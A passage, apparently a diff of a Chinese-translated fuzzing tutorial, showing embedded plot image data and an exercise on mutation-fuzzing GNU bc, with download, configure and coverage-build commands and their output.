DU4UiEEnlq6AiC93/ONLMZYbvrCN5h+oSZXQwsJ3ivqYgk2cPvLWPWqs3ce84BtG/VPOpwJEKJvGvoLYKXbdfma4marog0bPXmMn778nyOHpTLKSO6RR2ORExPFotkoduen82uyipuHzeceG/gkMylRCCSZabMX8MLnxZzxbED6NM5sbclSnpQIhDJImXlldz0TBH9ctpy2TH9og5HUkRavKFMRBrHn19fyLJ12/nnJYfQslnTqMORFKEjApEssWjNVv4yZRFnjOzO4QNyog5HUogSgUgWcHdufLqIVs2bcv0pw6IOR1KMEoFIFnhmxireWbSOa8YMIbd9y6jDkRSjRCCS4TZtL+eOF2azf6+OnDNKBRzlq5QIRDLcr1+ey/ptu7jzjAKaNNEzA/JVSgQiGezj5Rt49P3lXHh4XxWVkzopEYhkqIrKKq5/qogu7VvyUxWVk3ooEYhkqIfeXcbs4s3cfNpw2rXUI0NSNyUCkQxUsqmM3748j9GDcxlbkBd1OJLilAhEMtBtz8+iosq57fQCFZWTBikRiGSY1+eV8uLMEn503AB6d24TdTiSBpQIRDJIdVG5/rlt+d7RKion8dEVJJEMcu9rC1mxfgf//J6Kykn8dEQgkiEWlm7lr1MX8fUDenB4fxWVk/gpEYhkAHfnhqdn0rp5U647ZWjU4UiaUSIQyQBPffwZ7y1ezzVjh5DTTkXlZPcoEYikuU3by7nzhTkc0LsjZx+sonKy+3SxWCTN3f3SXDbuKOfhM0aoqJzsER0RiKSxj5Zv4J/vL+fCw/MZ1n2fqMORNKVEIJKmqovK5e3Tip+coKJysucSlgjMbLyZlZpZUUy7/c3sXTObaWbPmZl2YUT20IR3ljKneDO3nD5MReVkryTyiGACMKZGuweAa919BPAU8LMETl8kYxVv2sE9k+dz7OBcThquonKydxKWCNx9KrC+RuvBwNSweTLwjURNXyST3fbc7KCo3DgVlZO9l+xrBEXA6WHzWUCvuno0s0vNbJqZTVuzZk1SghNJB6/NXc3EohKu/NpAenVSUTnZe8lOBN8Ffmhm04H2wK66enT3+9290N0Lc3NzkxagSCrbsauSm56ZxYAu7fjeUSoqJ40jqVeY3H0ucCKAmQ0CTknm9EXS3b2vL2Dlhh3869JDadFMN/1J40jqmmRmXcL/TYAbgPuSOX2RdLZg9Rbun7qYbxzYk0P7dY46HMkgibx99DHgXWCwma00s4uBs81sPjAXWAX8PVHTF8kkQVG5Itq0aMZ1Jw+JOhzJMAk7NeTuZ9fR6Q+JmqZIpvrvR5/x/pL13PX1EXRWUTlpZDrJKJLiNm7fxZ0vzuHA3h35VmGdN9qJ7DElApEUd/ekuWzaUc6dZ6qonCSGEoFICpu+bD2PfbCC7x6Rz9BuqsgiiaFEIJKiysOict06tOLHx6uonCSOEoFIiprw9lLmlmzh5tOG01ZF5SSBlAhEUtCqjTu455X5fG1IF04a3jXqcCTDKRGIpKBbn5tFlTu3nD5cReUk4ZQIRFLMq3NW89Ks1SoqJ0mjRCCSQqqLyg3s0o5LjlRROUkOXYESSSF/fG0Bn23cweMqKidJpDVNJEXMX72Fv01dzDcP6skhKionSaREIJIC3J0bniqiXatm/HysispJcikRiKSAJ6ev5IOl6/n52CEqKidJp0QgErEN23bxixfncFCffTnrIBWVk+RTIhCJ2N2T5rK5rII7zyxQUTmJhBKBSISmLV3Pvz5cwSVH9mVInorKSTSUCEQiUl1UrnuHVlz5tYFRhyNZTM8RiETk728vYd7qLdx/3kEqKieR0hGBSAQ+27iDeyYv4PihXTlxeF7U4UiWUyIQicAtz84K/p8+LOJIRJQIRJJu8uzVTJ69mquOH0jPfVVUTqKnRCCSRNt3VXDLs7MY1LUdFx/ZN+pwRABdLBZJqj+8GhSV+/f3D6N5U+2HSWrQmiiSJPNKtvDgm0v4f4U9OTi/U9ThiHwuYYnAzMabWamZFcW0G2lm75nZDDObZmajEjV9kVRSVeXc8PRM2rdqxrVjh0YdjsiXJPKIYAIwpka7XwG3uvtI4Kbws0jGe3L6Sj5cuoGfjx1Kp7Ytog5H5EsSlgjcfSqwvmZroPo5+g7AqkRNXyRVrN+2i7smzuHg/H355kE9ow5H5CuSfbH4x8BLZvYbgiR0eF09mtmlwKUAvXv3Tk50Ignwy4lz2FJWwR1njFBROUlJyb5YfDnwE3fvBfwEeLCuHt39fncvdPfC3NzcpAUo0pg+XLqeJ6at5OKj+jI4r33U4YjUqs4jAjObSXAqp1buvt8eTO8C4Kqw+d/AA3swDpG0EBSVm0mPjq25SkXlJIXVd2ro1PD/D8P/D4f/vwNs38PprQKOAd4AjgMW7OF4RFLeg28tYf7qrTxwfiFtWuiRHUldda6d7r4MwMyOcPcjYjpda2ZvA7fVN2IzewwYDeSY2UrgZuB7wB/MrBlQRngNQCTTrNywnT+8soAThnXl+GFdow5HpF7x7Ka0NbMj3f0tADM7HGjb0EDufnYdnQ7ajfhE0tItz84O/p8+POJIRBoWTyK4GBhvZh0IrhlsAr6b0KhE0tjLs0p4Zc5qrjt5CD06to46HJEGNZgI3H06sL+Z7QOYu29KfFgi6WnbzqCo3OCu7bnoCBWVk/TQ4O2jZtbVzB4EHnf3TWY2zMwuTkJsImnnj68uYNWmMu48s0BF5SRtxLOmTgBeArqHn+cTPBgmIjHmlmzmgbeW8O2De1GoonKSRuJJBDnu/gRQBeDuFUBlQqMSSTNVVc71TxXRoXVzrhkzJOpwRHZLPIlgm5l1Jny4zMwOJbhgLCKhf09fwfRlG/j52CHsq6JykmbiuWvop8CzQP/w+YFc4JsJjUokjazbupO7Js5lVN9OKionaaneRGBmTYBWBE8DDwYMmOfu5UmITSQt3DVxLlvLKrjjjALMVFRO0k+9p4bcvQr4rbtXuPssdy9SEhD5wvuL1/Hk9JV87+h+DOqqonKSnuK5RvCymX3DtKsj8iW7Kqq44ekieu7bmiuPU1E5SV/xXiNoC1Sa2Q6C00Pu7vvUP5hIZnvgrcUsKN3KgxcU0rpF06jDEdlj8TxZrONdkRpWrN/OH19dwEnDu/K1oSoqJ+ktnieLzczONbMbw8+99NJ5yWbuzs3PzqKJGTefpqJykv7iuUbwZ+Aw4Jzw81bgTwmLSCTFvTRrNa/NLeUnxw+iu4rKSQaI5xrBIe5+oJl9DODuG8xMT8xIVtq2s4Jbn5vFkLz2XHhEftThiDSKeBJBuZk15Ysni3MJy02IZJvfvzKf4k1l3HvOgSoqJxkjnjX5j8BTQBczuxN4C/hFQqMSSUFzijcz/u2lnD2qFwf12TfqcEQaTTx3DT1qZtOBrxHcOnqGu89JeGQiKSQoKjdTReUkIzWYCMzsDwTvItAFYslaj09bwUfLN/Lbs/anYxtdIpPMEs+poY+AG8xsoZn92swKEx2USCpZu3Unv5w4l0P6duLrB/aIOhyRRtdgInD3f7j7ycAogpfS3G1mCxIemUiKuOvFuWzfVcGdZ6qonGSm3bntYQAwBMgH5iYkGpEU8+6idfzno5VcenQ/BnTRQ/aSmeJ5srj6COA2YBZwkLuflvDIRCK2q6KKG58JispdcayKyknmiuc5giXAYe6+NtHBiKSSv725mIWlW/n7hQerqJxktHhuH73PzE43s6PDVlPc/bmGhjOz8cCpQKm7F4TtHid4wQ1AR2Cju4/cs9BFEmf5uqCo3NiCPI4d0iXqcEQSKp5TQ3cBVwGzw78rw3YNmQCMiW3h7t9y95Hhxv8/wH93O2KRBAuKyhXRrIlx02nDog5HJOHiOTV0CjAyfFsZZvYP4GPg5/UN5O5TzSy/tm7hS27+H3Dc7gQrkgwvzSrh9XlruOGUoXTroKJykvnivWuoY0xzh0aY7lHAanev8zZUM7vUzKaZ2bQ1a9Y0wiRFGrZ1ZwW3PDubod324cLD86MORyQp4jkiuAv42MxeJygxcTQNHA3E4Wzgsfp6cPf7gfsBCgsLfS+nJxKXeybPZ/WWMv587oE0U1E5yRLxXCx+zMzeAA4mSATXuHvJnk7QzJoBXwcO2tNxiCTCrFWbmPDOUs4e1ZsDe6uonGSPeC4Wnwlsd/dn3f0ZoMzMztiLaR4PzHX3lXsxDpFGFRSVK6Jj6+Zcc5KKykl2iefY92Z331T9wd03Ajc3NJCZPQa8Cww2s5VmdnHY6ds0cFpIJNke+3A5M1Zs5PpThtKhTfOowxFJqniuEdSWLOI5pXR2He0vjGOaIkmzdutO7p44l0P7deLMA1RUTrJPPEcE08zsd2bW38z6mdk9wPREByaSLL94YQ47yiu544wRKionWSmeRPAjYBfwOPAEsAP4YSKDEkmWdxat5b8ff8b3j+nPgC7tog5HJBLxnOLZBlybhFhEkmpnRSU3PF1E705t+OGxA6IORyQy8VwjEMlIf5u6mMVrtjHhooNp1VxF5SR76YkZyUrL123n/15byCkjujF6sIrKSXZTIpCs4+7c+ExQVO7GU1VUTiSeB8p+ZWb7mFlzM3vVzNaa2bnJCE4kESYWlTBl/hquPnEweR1aRR2OSOTiOSI40d03E7xbYCUwCPhZQqMSSZAtZeXc+twshnffh/MP6xN1OCIpIZ5EUP2Y5cnAY+6+PoHxiCTUPZMXULplJ3eeOUJF5URC8dw19JyZzSV4fuAHZpYLlCU2LJHGV/TZJia8s4TvHNKbkb06NjyASJZocJfI3a8FDgMK3b0c2A6MS3RgIo2pssq5/ukiOrVtwc9UVE7kS+K5WNyG4Eniv4StugOFiQxKpLE99sFyPlmxkRtOGUaH1ioqJxIrnpOkfycoMXF4+HklcEfCIhJpZGu27OTuSXM5vH9nxo3sHnU4IiknnkTQ391/BZQDuPsOghfUiKSFO1+Yzc7yKm4/o0BF5URqEU8i2GVmrQEHMLP+wM6ERiXSSN5ZuJanZ6zi+8f0o3+uisqJ1Caeu4ZuBiYBvczsUeAI4MJEBiXSGKqLyvXp3IYfqKicSJ3iqT462cw+Ag4lOCV0lbuvTXhkInvpr1MWs3jtNv7x3VEqKidSj3irj7YCNoT9DzMz3H1q4sIS2TtL127j3tcXcsp+3ThmUG7U4YiktAYTgZndDXwLmAVUha0dUCKQlFRdVK5F0ybcpKJyIg2K54jgDGCwu+sCsaSFF2YW8+aCtdxy2jC67qOiciINieeuocV8UW9IJKVtKSvntudmU9BjH847LD/qcETSQjxHBNuBGWb2KjG3jbr7lQmLSmQP/fbl+azZupO/nV9I0yZ6ZkAkHvEkgmfDP5GUVvTZJh56dynnHdqH/VVUTiRu8dw++o9kBCKyNyqrnOufmkmnti25+sTBUYcjklbqvEZgZk+E/2ea2ac1/xoasZmNN7NSMyuq0f5HZjbPzGaZ2a/2fhZE4J/vL+OTlZu48dShKionspvqOyK4Kvx/6h6OewJwL/BQdQszO5aghPV+7r7TzPTWcNlrpVvK+NWkeRw5IIfT91dROZHdVWcicPfi8P+yPRmxu081s/warS8Hfll9K6q7l+7JuEVi3fnCHHZWVHHbuOEqKieyB+o7NbTFzDbX8rfFzDbv4fQGAUeZ2ftmNsXMDq5n+pea2TQzm7ZmzZo9nJxkurcWrOWZGau4fHR/+qmonMgeqe+IoH2CprcvQd2ig4EnzKyfu3st078fuB+gsLDwK91FysorufGZIvI7t+Hy0f2jDkckbSX77d0rgf964AOCkhU5SY5BMsRfpyxmydpt3H5GgYrKieyFZCeCp4HjAMxsENACUCVT2W1L1m7jT28s5LT9u3PUQBWVE9kb8VYf3W1m9hgwGsgxs5UE7zUYD4wPbyndBVxQ22khkfq4Ozc9U0TLpk248ZShUYcjkvYSlgjc/ew6Op2bqGlKdnj+06Co3K2nD6eLisqJ7LVknxoS2Suby8q57fnZjOjRgXMP7RN1OCIZIWFHBCKJ8NuX5rFu607GX3CwisqJNBIdEUja+HTlRh5+bxnnHdqHET07RB2OSMZQIpC0EBSVK6Jzu5ZcfZKKyok0JiUCSQuPvLeMmZ9t4qZTh7FPKxWVE2lMSgSS8ko3l/Gbl+Zx1MAcTt2vW9ThiGQcJQJJebe/MIedlVXcNq5AReVEEkCJQFLamwvW8Nwnq/jh6AH0zWkbdTgiGUmJQFJWWXklNz5dRN+ctnx/dL+owxHJWHqOQFLWX95YxNJ123nk4kNo2UxF5UQSRUcEkpIWr9nKX95YxLiR3TlyoArUiiSSEoGknKCo3CxaNm/C9SoqJ5JwSgSScp79ZBVvLVzL/540mC7tVVROJNGUCCSlbNpRzu3Pz2H/nh045xAVlRNJBl0slpTy25fnsX7bTiZcpKJyIsmiIwJJGZ+sCIrKnX9YPgU9VFROJFmUCCQlVFY51z89k9x2Lbn6xEFRhyOSVZQIJCU8/O5Sij7bzE2nDaO9isqJJJUSgURu9eYyfvPyfI4elMspI1RUTiTZlAgkcrc9P5tdlVXcPm64isqJRECJQCI1Zf4aXvi0mCuOHUCfzioqJxIFJQKJTFl5JTc9U0S/nLZcdoyKyolERc8RSGT+/PpClq3bzj8vUVE5kSjpiEAisWjNVu6bspgzRnbn8AEqKicSpYQlAjMbb2alZlYU0+4WM/vMzGaEfycnavqSutydG58uCovKDYs6HJGsl8gjggnAmFra3+PuI8M+9AhSAAANUklEQVS/FxM4fUlRz8xYxTuL1nHNmCHktm8ZdTgiWS9h1wjcfaqZ5Sdq/JJ+lq/bzsSiYv46dTH79+rIOaN6Rx2SiBDNxeIrzOx8YBpwtbtvqK0nM7sUuBSgd29tMNLVwtKtTCoq5sWZJcwu3gzAfj078Jtv7kcTFZUTSQnm7okbeXBE8Ly7F4SfuwJrAQduB7q5+3cbGk9hYaFPmzYtYXFK43F35hRvYVJRMROLSlhQuhWAA3t3ZGxBN8YU5NGrU5uIoxTJDmY23d0LG+ovqUcE7r66utnM/gY8n8zpS2K4O5+s3MTEomImFZWwbN12mhiM6tuJcw8dzknD88jroBfMiKSqpCYCM+vm7sXhxzOBovr6l9RVVeVMX76BiTNLeGlWCZ9t3EGzJsZh/Ttz2dH9OXF4V3La6UKwSDpIWCIws8eA0UCOma0EbgZGm9lIglNDS4HLEjV9aXwVlVW8v2Q9E4uKeWnWatZs2UmLZk04emAOPzlhECcM7UqHNqocKpJuEnnX0Nm1tH4wUdOTxNhVUcXbi9YycWYxk2evZsP2clo3b8qxQ3IZU9CN44Z0oV1LPaAuks70C5avKCuvZMr8NUwqKuGVOavZUlZBu5bN+NrQLowtyOOYQV1o3UIlIUQyhRKBALBtZwWvzS1lUlEJr88rZfuuSjq2ac6Y4XmMHZHHEQNyVA9IJEMpEWSxTTvKeXXOaiYWlTBl/hp2VVSR064FZxzQg5MLunFIv040b6pyVCKZTokgy6zbupPJs4ON/zuL1lJe6XTr0IpzRvVmbEEehfmdaKoHvUSyihJBFijdXMZLs0p4cWYJ7y9ZR5VDr06tueiIvowtyGP/nh31lK9IFlMiyFArN2xnUlEJk4pKmL58A+7QP7ctPxg9gDEFeQzvvo9eCykigBJBRlmydtvnT/d+unITAEO77cNPjh/E2II8BnZtH3GEIpKKlAjSmLuzoHQrE2eWMLGomLklWwDYv2cHrhkzhLEFeeTn6D3AIlI/JYI04+7MWrWZiWFRt8VrtmEGhX325cZThzGmII8eHVtHHaaIpBElgjRQVeXMWLmRiTOLmTSrhBXrd9C0iXFI305cdHg+Jw3Po8s+KuomIntGiSBFVVY5Hy5d//kF35LNZTRvahwxIIcrjh3ACcPy6NS2RdRhikgGUCJIIeWVVby7aB0Ti0qYPLuEtVt30bJZE44elMs1IwZz3JCudGitom4i0riUCCK2s6KStxasDTf+q9m0o5w2LZpy7JCgrs+xg7vQVkXdRCSBtIWJwPZdFUyZt4aJRSW8NreUrTsraN+qGScM7cqYgjyOHpRLq+aq6yMiyaFEkCRbysp5bW4pE2eW8Mb8UsrKq9i3TXNOGdGNMSPyOKJ/Di2aqa6PiCSfEkECbdy+i8mzVzOpqIQ3F6xlV2UVue1bctZBvRhbkMeovp1opqJuIhIxJYJGtmbLTl6eHdzp8+6idVRUOT06tubcQ/tw8og8Duy9r+r6iEhKUSJoBCWbyphUVMyLRSVMW7qeKof8zm245Kh+jC3IY7+eHVTXR0RSlhLBHlqxfvvnT/d+vHwjAIO6tuOK4wYytiCPIXnttfEXkbSgRLAbFpZuZVK48Z+1ajMAw7vvw/+cOIgxBd0Y0KVdxBGKiOw+JYJ6uDtzS7YwsaiEiTOLWVC6FYADenfkupOHMGZ4N3p3bhNxlCIie0eJoAZ359OVm5hYVMKkomKWrtuOGRyc34mbTwuKunXroKJuIpI5lAgIirp9tHwDL84s4aVZJXy2MSjqdnj/znzv6H6cOCyP3PYtow5TRCQhsjYRVFRW8cGS9UwsCjb+pVt20qJpE44cmMOPjx/ICcO60rGNirqJSOZLWCIws/HAqUCpuxfU6PY/wK+BXHdfm6gYatpVUcXbi9YyaWYJk+esZv22XbRq3oTRg7owdkQexw3pQvtWKuomItklkUcEE4B7gYdiW5pZL+AEYHkCp/25svJKps4P6vq8Mmc1W8oqaNeyGceFRd2OGZxLmxZZe2AkIpK4RODuU80sv5ZO9wD/CzyTqGlX++OrC7hvyiK276qkQ+vmnDgsj7EFeRw5MEdF3UREQkndFTaz04HP3P2Thh62MrNLgUsBevfuvUfTy+vQinEjezC2II/D+nemuer6iIh8hbl74kYeHBE87+4FZtYGeB040d03mdlSoDCeawSFhYU+bdq0hMUpIpKJzGy6uxc21F8yd5H7A32BT8Ik0BP4yMzykhiDiIjUkLRTQ+4+E+hS/Xl3jghERCRxEnZEYGaPAe8Cg81spZldnKhpiYjInkvkXUNnN9A9P1HTFhGR+Ok2GhGRLKdEICKS5ZQIRESynBKBiEiWS+gDZY3FzNYAy/Zw8BwgU25R1byknkyZD9C8pKq9mZc+7p7bUE9pkQj2hplNi+fJunSgeUk9mTIfoHlJVcmYF50aEhHJckoEIiJZLhsSwf1RB9CINC+pJ1PmAzQvqSrh85Lx1whERKR+2XBEICIi9VAiEBHJchmTCMxsjJnNM7OFZnZtLd1bmtnjYff363iNZkqIY14uNLM1ZjYj/LskijgbYmbjzazUzIrq6G5m9sdwPj81swOTHWM84piP0Wa2KWZ53JTsGONlZr3M7HUzm2Nms8zsqlr6SZflEs+8pPyyMbNWZvaBmX0SzsettfST2O2Xu6f9H9AUWAT0A1oAnwDDavTzA+C+sPnbwONRx70X83IhcG/UscYxL0cDBwJFdXQ/GZgIGHAo8H7UMe/hfIwmeBNf5LHGMS/dgAPD5vbA/FrWr3RZLvHMS8ovm/B7bhc2NwfeBw6t0U9Ct1+ZckQwCljo7ovdfRfwL2BcjX7GAf8Im58EvmYNvTg5GvHMS1pw96nA+np6GQc85IH3gI5m1i050cUvjvlIG+5e7O4fhc1bgDlAjxq9pctyiWdeUl74PW8NPzYP/2rexZPQ7VemJIIewIqYzyv56grxeT/uXgFsAjonJbrdE8+8AHwjPGx/0sx6JSe0RhfvvKaDw8JD+4lmNjzqYOIRnl44gGAPNFbaLZd65gXSYNmYWVMzmwGUApPdvc5lkojtV6YkgtoyY82MGk8/qSCeOJ8D8t19P+AVvthTSDfpskwa8hFBTZf9gf8Dno44ngaZWTvgP8CP3X1zzc61DJKyy6WBeUmLZePule4+kuBd7qPMrKBGLwldJpmSCFYCsXvFPYFVdfVjZs2ADqTm4X6D8+Lu69x9Z/jxb8BBSYqtscWz3FKeu2+uPrR39xeB5maWE3FYdTKz5gQbzkfd/b+19JI2y6WheUm3ZePuG4E3gDE1OiV0+5UpieBDYKCZ9TWzFgQXU56t0c+zwAVh8zeB1zy88pJiGpyXGudrTyc4N5qOngXOD+9SORTY5O7FUQe1u8wsr/p8rZmNIvhdrYs2qtqFcT4IzHH339XRW1osl3jmJR2WjZnlmlnHsLk1cDwwt0ZvCd1+Jeydxcnk7hVmdgXwEsFdN+PdfZaZ3QZMc/dnCVaYh81sIUEm/XZ0Edctznm50sxOByoI5uXCyAKuh5k9RnDXRo6ZrQRuJrgQhrvfB7xIcIfKQmA7cFE0kdYvjvn4JnC5mVUAO4Bvp+hOBsARwHnAzPCcNMB1QG9Ir+VCfPOSDsumG/APM2tKkKiecPfnk7n9UokJEZEslymnhkREZA8pEYiIZDklAhGRLKdEICKS5ZQIRESynBKBZDQzuyusQHmG1VLJtYFhc8NKjx+b2VE1uj1gZsMaN1ows+sae5wiDdHto5LRzOw14BTgF8CT7v72bgz7bWCsu1/QYM+NxMy2unu7ZE1PBHREIBnKzH5tZp8CBwPvApcAf6mtHr2Z9TGzV8Mifq+aWW8zGwn8Cjg5rGPfusYwb5hZYdi81czuDAubvWdmXcP2E8zsPjN708zmm9mpYfsLzezemHE9Hx61/BJoHU7vUTNra2YvhOMtMrNvJejrkiynRCAZyd1/RrDxn0CQDD519/3c/bZaer+XoOzyfsCjwB/dfQZwE0Hd95HuvqOeybUF3gsLm00FvhfTLR84huCo5D4za1VPzNcCO8LpfYeg3swqd9/f3QuASfHMu8juUiKQTHYAMAMYAsyup7/DgH+GzQ8DR+7mdHYBz4fN0wk2/tWecPcqd18ALA5jiddM4Hgzu9vMjnL3TbsZl0hcMqLWkEis8LTOBIKqmWuBNkFrmwEc1sDePex+ed/ymPo1lXz5d1VzXE5QIyp2J6zWowR3n29mBxHU/bnLzF6u44hGZK/oiEAyjrvPCGu7zweGAa8BJ9Vziucdviji9R3grUYM5ywza2Jm/QlePzoPWAqMDNv3IngrXbXysLQyZtYd2O7ujwC/IXhdpkij0xGBZCQzywU2uHuVmQ1x9/pODV0JjDeznwFraNxqm/OAKUBX4PvuXmZmbwNLCE79FBG8PKXa/cCnZvYR8BDwazOrAsqByxsxLpHP6fZRkQQxswkEL05/MupYROqjU0MiIllORwQiIllORwQiIllOiUBEJMspEYiIZDklAhGRLKdEICKS5f4/sHUNJbySbLcAAAAASUVORK5CYII=
+)
+
+经过10,000次运行，我们设法合成了`+`字符和有效的`%xx`表格。 我们仍然可以做得更好。
+
+### 练习2：使用突变对bc进行模糊处理
+
+在[“模糊化简介”](Fuzzer.html) 一章中，将上述基于突变的模糊化技术应用于`bc`。
+
+#### 第1部分：非引导式突变
+
+从非引导性突变开始。 有多少输入有效？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/MutationFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第2部分：引导突变
+
+继续*指导的*突变。 为此，您将必须找到一种从诸如`bc`之类的C程序中提取覆盖率的方法。 继续执行以下步骤：
+
+首先，获得 [GNU bc](https://www.gnu.org/software/bc/) ； 下载并说`bc-1.07.1.tar.gz`并解压缩：
+
+```py
+!curl -O mirrors.kernel.org/gnu/bc/bc-1.07.1.tar.gz
+
+```
+
+```py
+  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
+                                 Dload  Upload   Total   Spent    Left  Speed
+100  410k  100  410k    0     0   146k      0  0:00:02  0:00:02 --:--:--  146k
+
+```
+
+```py
+!tar xfz bc-1.07.1.tar.gz
+
+```
+
+其次，配置软件包：
+
+```py
+!cd bc-1.07.1; ./configure
+
+```
+
+```py
+checking for a BSD-compatible install... /usr/bin/install -c
+checking whether build environment is sane... yes
+checking for a thread-safe mkdir -p... ./install-sh -c -d
+checking for gawk... no
+checking for mawk... no
+checking for nawk... no
+checking for awk... awk
+checking whether make sets $(MAKE)... yes
+checking whether make supports nested variables... yes
+checking for gcc... gcc
+checking whether the C compiler works... yes
+checking for C compiler default output file name... a.out
+checking for suffix of executables... 
+checking whether we are cross compiling... no
+checking for suffix of object files... o
+checking whether we are using the GNU C compiler... yes
+checking whether gcc accepts -g... yes
+checking for gcc option to accept ISO C89... none needed
+checking whether gcc understands -c and -o together... yes
+checking for style of include used by make... GNU
+checking dependency style of gcc... gcc3
+checking how to run the C preprocessor... gcc -E
+checking for grep that handles long lines and -e... /usr/bin/grep
+checking for egrep... /usr/bin/grep -E
+checking for ANSI C header files... yes
+checking for sys/types.h... yes
+checking for sys/stat.h... yes
+checking for stdlib.h... yes
+checking for string.h... yes
+checking for memory.h... yes
+checking for strings.h... yes
+checking for inttypes.h... yes
+checking for stdint.h... yes
+checking for unistd.h... yes
+checking minix/config.h usability... no
+checking minix/config.h presence... no
+checking for minix/config.h... no
+checking whether it is safe to define __EXTENSIONS__... yes
+checking for flex... flex
+checking lex output file root... lex.yy
+checking lex library... -ll
+checking whether yytext is a pointer... yes
+checking for ar... ar
+checking the archiver (ar) interface... ar
+checking for bison... bison -y
+checking for ranlib... ranlib
+checking whether make sets $(MAKE)... (cached) yes
+checking for stdarg.h... yes
+checking for stddef.h... yes
+checking for stdlib.h... (cached) yes
+checking for string.h... (cached) yes
+checking for errno.h... yes
+checking for limits.h... yes
+checking for unistd.h... (cached) yes
+checking for lib.h... no
+checking for an ANSI C-conforming const... yes
+checking for size_t... yes
+checking for ptrdiff_t... yes
+checking for vprintf... yes
+checking for _doprnt... no
+checking for isgraph... yes
+checking for setvbuf... yes
+checking for fstat... yes
+checking for strtol... yes
+Adding GCC specific compile flags.
+checking that generated files are newer than configure... done
+configure: creating ./config.status
+config.status: creating Makefile
+config.status: creating bc/Makefile
+config.status: creating dc/Makefile
+config.status: creating lib/Makefile
+config.status: creating doc/Makefile
+config.status: creating doc/texi-ver.incl
+config.status: creating config.h
+config.status: executing depfiles commands
+
+```
+
+第三，用特殊标志编译软件包：
+
+```py
+!cd bc-1.07.1; make CFLAGS="--coverage"
+
+```
+
+```py
+/Applications/Xcode.app/Contents/Developer/usr/bin/make  all-recursive
+Making all in lib
+gcc -DHAVE_CONFIG_H  -I. -I..  -I. -I.. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT getopt.o -MD -MP -MF .deps/getopt.Tpo -c -o getopt.o getopt.c
+mv -f .deps/getopt.Tpo .deps/getopt.Po
+gcc -DHAVE_CONFIG_H  -I. -I..  -I. -I.. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT getopt1.o -MD -MP -MF .deps/getopt1.Tpo -c -o getopt1.o getopt1.c
+mv -f .deps/getopt1.Tpo .deps/getopt1.Po
+gcc -DHAVE_CONFIG_H  -I. -I..  -I. -I.. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT vfprintf.o -MD -MP -MF .deps/vfprintf.Tpo -c -o vfprintf.o vfprintf.c
+mv -f .deps/vfprintf.Tpo .deps/vfprintf.Po
+gcc -DHAVE_CONFIG_H  -I. -I..  -I. -I.. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT number.o -MD -MP -MF .deps/number.Tpo -c -o number.o number.c
+mv -f .deps/number.Tpo .deps/number.Po
+rm -f libbc.a
+ar cru libbc.a getopt.o getopt1.o vfprintf.o number.o 
+ranlib libbc.a
+Making all in bc
+gcc -DHAVE_CONFIG_H -I. -I..  -I. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT main.o -MD -MP -MF .deps/main.Tpo -c -o main.o main.c
+mv -f .deps/main.Tpo .deps/main.Po
+gcc -DHAVE_CONFIG_H -I. -I..  -I. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT bc.o -MD -MP -MF .deps/bc.Tpo -c -o bc.o bc.c
+mv -f .deps/bc.Tpo .deps/bc.Po
+gcc -DHAVE_CONFIG_H -I. -I..  -I. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT scan.o -MD -MP -MF .deps/scan.Tpo -c -o scan.o scan.c
+mv -f .deps/scan.Tpo .deps/scan.Po
+gcc -DHAVE_CONFIG_H -I. -I..  -I. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT execute.o -MD -MP -MF .deps/execute.Tpo -c -o execute.o execute.c
+mv -f .deps/execute.Tpo .deps/execute.Po
+gcc -DHAVE_CONFIG_H -I. -I..  -I. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT load.o -MD -MP -MF .deps/load.Tpo -c -o load.o load.c
+mv -f .deps/load.Tpo .deps/load.Po
+gcc -DHAVE_CONFIG_H -I. -I..  -I. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT storage.o -MD -MP -MF .deps/storage.Tpo -c -o storage.o storage.c
+mv -f .deps/storage.Tpo .deps/storage.Po
+gcc -DHAVE_CONFIG_H -I. -I..  -I. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT util.o -MD -MP -MF .deps/util.Tpo -c -o util.o util.c
+mv -f .deps/util.Tpo .deps/util.Po
+gcc -DHAVE_CONFIG_H -I. -I..  -I. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT warranty.o -MD -MP -MF .deps/warranty.Tpo -c -o warranty.o warranty.c
+mv -f .deps/warranty.Tpo .deps/warranty.Po
+echo '{0}' > libmath.h
+/Applications/Xcode.app/Contents/Developer/usr/bin/make global.o
+gcc -DHAVE_CONFIG_H -I. -I..  -I. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT global.o -MD -MP -MF .deps/global.Tpo -c -o global.o global.c
+mv -f .deps/global.Tpo .deps/global.Po
+gcc -g -O2 -Wall -funsigned-char --coverage   -o libmath.h -o fbc main.o bc.o scan.o execute.o load.o storage.o util.o warranty.o global.o ../lib/libbc.a -ll  
+./fbc -c ./libmath.b </dev/null >libmath.h
+./fix-libmath_h
+2655
+2793
+rm -f ./fbc ./global.o
+gcc -DHAVE_CONFIG_H -I. -I..  -I. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT global.o -MD -MP -MF .deps/global.Tpo -c -o global.o global.c
+mv -f .deps/global.Tpo .deps/global.Po
+gcc -g -O2 -Wall -funsigned-char --coverage   -o bc main.o bc.o scan.o execute.o load.o storage.o util.o global.o warranty.o ../lib/libbc.a -ll  
+Making all in dc
+gcc -DHAVE_CONFIG_H -I. -I..  -I./.. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT dc.o -MD -MP -MF .deps/dc.Tpo -c -o dc.o dc.c
+mv -f .deps/dc.Tpo .deps/dc.Po
+gcc -DHAVE_CONFIG_H -I. -I..  -I./.. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT misc.o -MD -MP -MF .deps/misc.Tpo -c -o misc.o misc.c
+mv -f .deps/misc.Tpo .deps/misc.Po
+gcc -DHAVE_CONFIG_H -I. -I..  -I./.. -I./../h  -g -O2 -Wall -funsigned-char --coverage -MT eval.o -MD -MP -MF .deps/eval.Tpo -c -o eval.o eval.c
+mv -f .deps/eval.Tpo .deps/eval.Po
